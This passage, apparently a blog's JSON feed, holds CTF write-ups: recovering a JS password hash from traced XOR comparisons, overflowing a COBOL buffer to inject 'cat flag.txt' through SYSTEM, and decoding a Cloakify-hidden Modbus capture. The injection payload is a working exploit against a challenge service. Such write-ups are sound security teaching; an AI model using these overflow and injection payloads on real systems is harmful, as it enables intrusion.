\u003ccode\u003eUint8Array\u003c/code\u003e, and \u003ccode\u003ecrypto\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThese words are used to run code that \u003cabbr title=\"Secure Hash Algorithm\"\u003eSHA\u003c/abbr\u003e-256 hashes the input password and stores it in a variable, so that it can later be compared to the hash of the correct password.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eѷ = Array(Ѳ, passwordBytes) = Array(sha-256, 72,101,108,108,111) = [sha-256, 72,101,108,108,111]\nѸ = Array(ѭ, ѷ) = Array([object SubtleCrypto], [sha-256, 72,101,108,108,111]) = [[object SubtleCrypto], [sha-256, 72,101,108,108,111]]\nѹ = apply(Ѱ, Ѹ) = apply(function digest() { [native code] }, [[object SubtleCrypto], [sha-256, 72,101,108,108,111]]) = [object ArrayBuffer]\nѾ = new ѽ(ѹ, ш) = ѽ([object ArrayBuffer], x) = 24,95,141,179,34,113,254,37,245,97,166,252,147,139,46,38,67,6,236,48,78,218,81,128,7,209,118,72,38,56,25,105\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIf the passwords were compared via a normal character-by-character comparison, breaking out once the first non-matching character is hit, it might be possible to figure it out via a sidechannel timing attack. A good way to mitigate this attack is to carry out comparisons in constant time. That is, a successful match takes the same amount of time as an unsuccessful match.\u003c/p\u003e\n\u003cp\u003eThese two functions are bitwise OR and XOR.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eѡ = љ(ш, њ) = љ(x, return x[0]^x[1]) = function anonymous(x) { return x[0]^x[1] }\nѦ = Ѣ(ш, ѣ) = Ѣ(x, return x[0]|x[1]) = function anonymous(x) { return x[0]|x[1] }\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eOne of the properties of XOR is that if you XOR two of the same values, the result is 0.\u003c/p\u003e\n\u003cp\u003eTherefore one way to compare two arrays in constant time is to XOR each value with itself and OR it with another value \u003ccode\u003eh\u003c/code\u003e that starts at 0. If \u003ccode\u003eh\u003c/code\u003e is 0 at the end of the comparisons then you can be sure the result of the XOR at each iteration was 0, hence the strings match. Importantly, whether or not they match, the entire array is traversed.\u003c/p\u003e\n\u003cp\u003eBelow is the first iteration of the loop through the hash.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eѿ = getItem(Ѿ, e) = getItem(24,95,141,179,34,113,254,37,245,97,166,252,147,139,46,38,67,6,236,48,78,218,81,128,7,209,118,72,38,56,25,105, 0) = 24\nҀ = Array(ѿ, T) = Array(24, 230) = [24, 230]\n҂ = bitwiseXOR(Ҁ, ш) = bitwiseXOR([24, 230], x) = 254\nҁ = Array(h, ҂) = Array(0, 254) = [0, 254]\nh = bitwiseOR(ҁ, ш) = bitwiseOR([0, 254], x) = 254\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe important part is \u003ccode\u003ebitwiseXOR([24, 230], x) = 254\u003c/code\u003e, where it compares 24 (from our incorrect password hash) to 230 (from the correct password hash).\u003c/p\u003e\n\u003cp\u003eAll that's left to do is extract out the second parameter of each call to \u003ccode\u003ebitwiseXOR\u003c/code\u003e, and convert it to a hex string.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ee66860546f18cdbbcd86b35e18b525bffc67f772c650cedfe3ff7a0026fa1dee\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe comment from earlier (\u0026quot;check if they can just use Google to get the password\u0026quot;) tells us to simply look up this hash in a rainbow table.\u003c/p\u003e\n\u003cp\u003eThe flag was \u003ccode\u003eCTF{Passw0rd!}\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"references\"\u003eReferences\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003ca href=\"/js-safe/disassembly.txt\" rel=\"noreferrer nofollow noopener\"\u003edisassembly.txt\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/js-safe/js_safe_1.html\" rel=\"noreferrer nofollow noopener\"\u003ejs_safe_1.html\u003c/a\u003e (\u003ca href=\"/js-safe/js_safe_1.html?raw=1\" rel=\"noreferrer nofollow noopener\"\u003esource\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n",
      "date_published": "2019-05-11T00:00:00Z"
    },
    {
      "id": "Yz2gG8EJjSoNkoyFDjnrbA",
      "url": "https://textplain.org/inshack-overcobol",
      "title": "ins'hack ctf – overcobol",
      "content_html": "\u003cp\u003e(\u003cem\u003ePart of a series of writeups from INS'HACK \u003cabbr title=\"Capture The Flag\"\u003eCTF\u003c/abbr\u003e 2019.\u003c/em\u003e)\u003c/p\u003e\n\u003cp\u003eThe challenge text reads:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eI recently discover this file called \u003ccode\u003eTest.CBL\u003c/code\u003e. It seems to be a small service aiming at storing the result of babyfoot matchs between interns at the INSHACK BANK. Maybe you can break into the MAINFRAME.\u003c/p\u003e\n\u003cp\u003eYou can found the source code here and you can connect to the MAINFRAM here:\u003c/p\u003e\n\u003cp\u003essh user@overcobol.ctf.insecurity-insa.fr\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eSee \u003ca href=\"/inshack-overcobol/Test.CBL\" rel=\"noreferrer nofollow noopener\"\u003eTest.CBL\u003c/a\u003e for the source.\u003c/p\u003e\n\u003cp\u003eBefore diving into the code, let's connect to the service and see what's going on.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e################################\n# WELCOME IN THE COBOL GAME !  #\n################################\n\n1. Register a match.\n2. View matchs.\n3. Send match to the cloud.\n4. Quit.\nWhat do you want to do ? 1\nPLAYER1: John\nPLAYER2: Alice\nSCORE1: 1\nSCORE2: 2\n\n1. Register a match.\n2. View matchs.\n3. Send match to the cloud.\n4. Quit.\nWhat do you want to do ? 2\nJohn       vs Alice      : 01-02\n\n1. Register a match.\n2. View matchs.\n3. Send match to the cloud.\n4. Quit.\nWhat do you want to do ? 3\nsend                 matchs\n\n1. Register a match.\n2. View matchs.\n3. Send match to the cloud.\n4. Quit.\nWhat do you want to do ? 4\nConnection to overcobol.ctf.insecurity-insa.fr closed.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWe can register matches, view them, and send them to the \u0026quot;cloud\u0026quot;.\u003c/p\u003e\n\u003cp\u003eThe cloud sounds like a good entry point.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003eSEND-C\u003c/span\u003e\u003cspan class=\"nv\"\u003eLOUD\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e  IF S\u003c/span\u003e\u003cspan class=\"nv\"\u003eUBPRGNAME\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"no\"\u003eSPACE\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"no\"\u003e   \u003c/span\u003e \u003cspan class=\"kr\"\u003eMOVE \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;send\u0026#34;\u003c/span\u003e \u003cspan class=\"kp\"\u003eTO\u003c/span\u003e \u003cspan class=\"nv\"\u003eSUBPRGNAME\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e    MO\u003c/span\u003e\u003cspan class=\"nv\"\u003eVE\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;matchs\u0026#34;\u003c/span\u003e \u003cspan class=\"kp\"\u003eTO\u003c/span\u003e \u003cspan class=\"nv\"\u003eSUBPRGARG\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e  END-\u003c/span\u003e\u003cspan class=\"nv\"\u003eIF\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e  DISP\u003c/span\u003e\u003cspan class=\"nv\"\u003eLAY\u003c/span\u003e \u003cspan class=\"nv\"\u003eSUBPRGNAME\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e \u003cspan class=\"nv\"\u003eSUBPRGARG\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e  CALL\u003c/span\u003e \u003cspan class=\"nv\"\u003eSUBPRGNAME\u003c/span\u003e \u003cspan class=\"kp\"\u003eUSING\u003c/span\u003e \u003cspan class=\"nv\"\u003eSUBPRGARG\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003eEND-SE\u003c/span\u003e\u003cspan class=\"nv\"\u003eND-CLOUD\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eEXIT\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIf we can inject our own input into \u003ccode\u003eSUBPRGNAME\u003c/code\u003e or \u003ccode\u003eSUBPRGARG\u003c/code\u003e then we can \u003ccode\u003eCALL\u003c/code\u003e our own code. But how?\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e01 SUB\u003c/span\u003e\u003cspan class=\"nv\"\u003ePRG\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e    02\u003c/span\u003e \u003cspan class=\"nv\"\u003eTMPNAME\u003c/span\u003e \u003cspan class=\"kt\"\u003ePIC X(10)\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e    02\u003c/span\u003e \u003cspan class=\"nv\"\u003eTMPSCORE\u003c/span\u003e \u003cspan class=\"kt\"\u003ePIC 99\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e    02\u003c/span\u003e \u003cspan class=\"nv\"\u003eSUBPRGARG\u003c/span\u003e \u003cspan class=\"kt\"\u003ePIC X(20)\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e    02\u003c/span\u003e \u003cspan class=\"nv\"\u003eSUBPRGNAME\u003c/span\u003e \u003cspan class=\"kt\"\u003ePIC X(20)\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e01 TMP\u003c/span\u003e\u003cspan class=\"nv\"\u003eNAME2\u003c/span\u003e \u003cspan class=\"kp\"\u003eREDEFINES\u003c/span\u003e \u003cspan class=\"nv\"\u003eSUBPRG\u003c/span\u003e \u003cspan class=\"kt\"\u003ePIC X(40)\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eI'm not particularly familiar with \u003cabbr title=\"Common Business Oriented Language\"\u003eCOBOL\u003c/abbr\u003e but this \u003ccode\u003eTMPNAME2 REDEFINES SUBPRG\u003c/code\u003e sticks out. It redefines it, does it?\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eTMPNAME2\u003c/code\u003e is filled when entering player 2's name.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003eDISPLA\u003c/span\u003e\u003cspan class=\"nv\"\u003eY\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PLAYER2: \u0026#34;\u003c/span\u003e \u003cspan class=\"kp\"\u003eNO\u003c/span\u003e \u003cspan class=\"kp\"\u003eADVANCING\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003eACCEPT\u003c/span\u003e \u003cspan class=\"nv\"\u003eTMPNAME2\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003eMOVE T\u003c/span\u003e\u003cspan class=\"nv\"\u003eMPNAME\u003c/span\u003e \u003cspan class=\"kp\"\u003eTO\u003c/span\u003e \u003cspan class=\"nv\"\u003ePLAYER2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003eNBMATCH\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eInject enough bytes into the prompt for \u003ccode\u003ePLAYER2:\u003c/code\u003e and you will overwrite \u003ccode\u003eTMPNAME\u003c/code\u003e, \u003ccode\u003eTMPSCORE\u003c/code\u003e, \u003ccode\u003eSUBPRGARG\u003c/code\u003e, and \u003ccode\u003eSUBPRGNAME\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eWe know we want to manipulate the last two. Rather than calculate byte offsets, we can take a shortcut and feed it a long known string.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eWhat do you want to do ? 1\nPLAYER1: A\nPLAYER2: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\nSCORE1: 1\nSCORE2: 1\n\n1. Register a match.\n2. View matchs.\n3. Send match to the cloud.\n4. Quit.\nWhat do you want to do ? 3\nghijklmn             MNOPQRSTUVWXYZabcdef\nlibcob: Cannot find module 'ghijklmn'\nConnection to overcobol.ctf.insecurity-insa.fr closed.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003elibcob: Cannot find module 'ghijklmn'\u003c/code\u003e is what we want to see. So, whichever command we want to run goes in place of \u003ccode\u003eghijklmn\u003c/code\u003e and parameters in place of \u003ccode\u003eMNOPQRSTUVWXYZabcdef\u003c/code\u003e.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eXXXXXXXXXXXXls                  SYSTEM\nXXXXXXXXXXXXcat flag.txt        SYSTEM\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eYou could also drop yourself directly into a shell by executing \u003ccode\u003ebash\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eLet's connect one final time, inject our command, and \u0026quot;send it to the cloud\u0026quot;.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e################################\n# WELCOME IN THE COBOL GAME !  #\n################################\n\n1. Register a match.\n2. View matchs.\n3. Send match to the cloud.\n4. Quit.\nWhat do you want to do ? 1\nPLAYER1: 1\nPLAYER2: XXXXXXXXXXXXcat flag.txt        SYSTEM\nSCORE1: 1\nSCORE2: 1\n\n1. Register a match.\n2. View matchs.\n3. Send match to the cloud.\n4. Quit.\nWhat do you want to do ? 3\nSYSTEM               cat flag.txt\nINSA{Cobol_and_MainFrame_4ever}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 id=\"references\"\u003eReferences\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003ca href=\"/inshack-overcobol/Test.CBL\" rel=\"noreferrer nofollow noopener\"\u003eTest.CBL\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n",
      "date_published": "2019-05-06T00:00:00Z"
    },
    {
      "id": "WohvcFZjeRQ8dcMYralHMw",
      "url": "https://textplain.org/inshack-industrial",
      "title": "ins'hack ctf – industrial process",
      "content_html": "\u003cp\u003e(\u003cem\u003ePart of a series of writeups from INS'HACK \u003cabbr title=\"Capture The Flag\"\u003eCTF\u003c/abbr\u003e 2019.\u003c/em\u003e)\u003c/p\u003e\n\u003cp\u003eThe challenge text reads:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eIn company XXX, we have a big expertise in laser cutting and we are well informed about cybersecurity. We have setup a small honeypot to simulate the cut of some pieces. In our fake process, we have manufactured 25 pieces of 1 meter by 1 meter.\u003c/p\u003e\n\u003cp\u003eWe have found this really weird file thanks to a super effective detection tool. There was also a weird string:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e893c539a84e6c96acf5f2ceea2ad9ef7be895580\u003c/code\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThe file provided is \u003ccode\u003etempList.txt\u003c/code\u003e.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ cat tempList.txt | wc -l\n65088\n\n$ head tempList.txt\nNice France\nMálaga Spain\nFenerbahçe Turkey\nSalzburg Austria\nNice France\nLyon France\nMálaga Spain\nLevadia Tallinn Estonia\nLevadia Tallinn Estonia\nLevadia Tallinn Estonia\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNot particularly useful on its own.\u003c/p\u003e\n\u003cp\u003eSearching for the hash mentioned in the challenge text yields commit \u003ca href=\"https://github.com/TryCatchHCF/Cloakify/tree/893c539a84e6c96acf5f2ceea2ad9ef7be895580\" rel=\"noreferrer nofollow noopener\"\u003eCloakify@893c539\u003c/a\u003e.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCloakifyFactory - Data Exfiltration \u0026amp; Infiltration In Plain Sight; Convert any filetype into list of everyday strings, using Text-Based Steganography; Evade \u003cabbr title=\"Data Loss Prevention\"\u003eDLP\u003c/abbr\u003e/\u003cabbr title=\"Multi-Level Security\"\u003eMLS\u003c/abbr\u003e Devices, Defeat Data Whitelisting Controls, Social Engineering of Analysts, Evade \u003cabbr title=\"Antivirus\"\u003eAV\u003c/abbr\u003e Detection\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThe meaning of the lines in \u003ccode\u003etempList.txt\u003c/code\u003e is now clear. Let's download that exact version and decloak our file with it.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ python cloakifyFactory.py\n  ____ _             _    _  __        ______         _\n / __ \\ |           | |  |_|/ _|       |  ___|       | |\n| /  \\/ | ___   __ _| | ___| |_ _   _  | |_ __ _  ___| |_ ___  _ __ _   _\n| |   | |/ _ \\ / _` | |/ / |  _| | | | |  _/ _` |/ __| __/ _ \\| '__| | | |\n| \\__/\\ | |_| | |_| |   \u0026lt;| | | | |_| | | || |_| | |__| || |_| | |  | |_| |\n \\____/_|\\___/ \\__,_|_|\\_\\_|_|  \\__, | \\_| \\__,_|\\___|\\__\\___/|_|   \\__, |\n                                 __/ |                               __/ |\n                                |___/                               |___/\n\n             \u0026quot;Hide \u0026amp; Exfiltrate Any Filetype in Plain Sight\u0026quot;\n\n                         Written by TryCatchHCF\n                     https://github.com/TryCatchHCF\n  (\\~---.\n  /   (\\-`-/)\n (      ' '  )         data.xls image.jpg  \\     List of emoji, IP addresses,\n  \\ (  \\_Y_/\\    ImADolphin.exe backup.zip  --\u0026gt;  sports teams, desserts,\n   \u0026quot;\u0026quot;\\ \\___//         LoadMe.war file.doc  /     beers, anything you imagine\n      `w   \u0026quot;\n\n====  Cloakify Factory Main Menu  ====\n\n1) Cloakify a File\n2) Decloakify a File\n3) Browse Ciphers\n4) Browse Noise Generators\n5) Help / Basic Usage\n6) About Cloakify Factory\n7) Exit\n\nSelection: 2\n\n====  Decloakify a Cloaked File  ====\n\nEnter filename to decloakify (e.g. /foo/bar/MyBoringList.txt): tempList.txt\n\nSave decloaked data to filename (default: 'decloaked.file'):\n\nPreview cloaked file? (y/n default=n): n\nWas noise added to the cloaked file? (y/n default=n): n\n\nCiphers:\n\n1 - emoji\n2 - geoCoordsWorldCapitals\n3 - dessertsHindi\n4 - evadeAV\n5 - desserts\n6 - dessertsPersian\n7 - geocache\n8 - statusCodes\n9 - hashesMD5\n10 - dessertsChinese\n11 - worldFootballTeams\n12 - starTrek\n13 - dessertsSwedishChef\n14 - dessertsRussian\n15 - dessertsArabic\n16 - worldBeaches\n17 - skiResorts\n18 - pokemonGo\n19 - belgianBeers\n20 - amphibians\n21 - dessertsThai\n22 - ipAddressesTop100\n23 - rickrollYoutube\n24 - topWebsites\n\nEnter cipher #:\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe only one that makes sense is \u003ccode\u003eworldFootballTeams\u003c/code\u003e.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eDecloaking file using cipher:  worldFootballTeams\n\nDecloaked file tempList.txt , saved to decloaked.file\nPress return to continue...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eInspecting the output shows it's a packet capture (pcap) file.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ file decloaked.file\ndecloaked.file: pcap-ng capture file - version 1.0\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eUsing \u003ccode\u003etshark\u003c/code\u003e we can inspect the packets.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ tshark -r decloaked.file | tail\n416 208.593571892     10.0.0.3 → 10.0.0.1     Modbus/TCP 81 Response: Trans:   209; Unit:   0, Func:   3: Read Holding Registers\n417 209.595764935     10.0.0.1 → 10.0.0.3     Modbus/TCP 78    Query: Trans:   210; Unit:   0, Func:   3: Read Holding Registers\n418 209.596582304     10.0.0.3 → 10.0.0.1     Modbus/TCP 81 Response: Trans:   210; Unit:   0, Func:   3: Read Holding Registers\n419 210.598777593     10.0.0.1 → 10.0.0.3     Modbus/TCP 78    Query: Trans:   211; Unit:   0, Func:   3: Read Holding Registers\n420 210.599567982     10.0.0.3 → 10.0.0.1     Modbus/TCP 81 Response: Trans:   211; Unit:   0, Func:   3: Read Holding Registers\n421 211.601482968     10.0.0.1 → 10.0.0.3     Modbus/TCP 78    Query: Trans:   212; Unit:   0, Func:   3: Read Holding Registers\n422 211.602300766     10.0.0.3 → 10.0.0.1     Modbus/TCP 81 Response: Trans:   212; Unit:   0, Func:   3: Read Holding Registers\n423 212.604520340     10.0.0.1 → 10.0.0.3     Modbus/TCP 78    Query: Trans:   213; Unit:   0, Func:   3: Read Holding Registers\n424 212.605493929     10.0.0.3 → 10.0.0.1     Modbus/TCP 81 Response: Trans:   213; Unit:   0, Func:   3: Read Holding Registers\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis is a conversation between a monitor of some kind, and an industrial device (probably a laser cutter, per the challenge text). Every second the monitor requests the contents of the device's registers.\u003c/p\u003e\n\u003cp\u003eThe interesting packets are the responses, which are the even frames.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ tshark -Y 'frame.number == 2' -r decloaked.file -V | tail\n    Register 0 (UINT16): 0\n        Register Number: 0\n        Register Value (UINT16): 0\n    Register 1 (UINT16): 0\n        Register Number: 1\n        Register Value (UINT16): 0\n    Register 2 (UINT16): 0\n        Register Number: 2\n        Register Value (UINT16): 0\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe 3 register values correspond to \u003ccode\u003ex\u003c/code\u003e, \u003ccode\u003ey\u003c/code\u003e (the coordinates of a point), and \u003ccode\u003ei\u003c/code\u003e (the index of the sheet).\u003c/p\u003e\n\u003cp\u003eAfter iterating through even numbers and selecting the response packets from the capture file, and applying a little cleanup, the result is a very large object.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s2\"\u003e\u0026#34;0\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;x\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;y\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* ... */\u003c/span\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;x\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;y\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* ... */\u003c/span\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"cm\"\u003e/* ... */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s2\"\u003e\u0026#34;24\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;x\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;y\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e125\u003c/span\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* ... */\u003c/span\u003e \u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003ePlotting these points will reveal the flag, supposedly.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://emmet.io\" rel=\"noreferrer nofollow noopener\"\u003eEmmet\u003c/a\u003e makes it very easy to generate a lot of canvases (or any element, for that matter). If you have the editor plugin, entering \u003ccode\u003ecanvas.i$*25\u003c/code\u003e and tab completing it should generate them in one go.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan 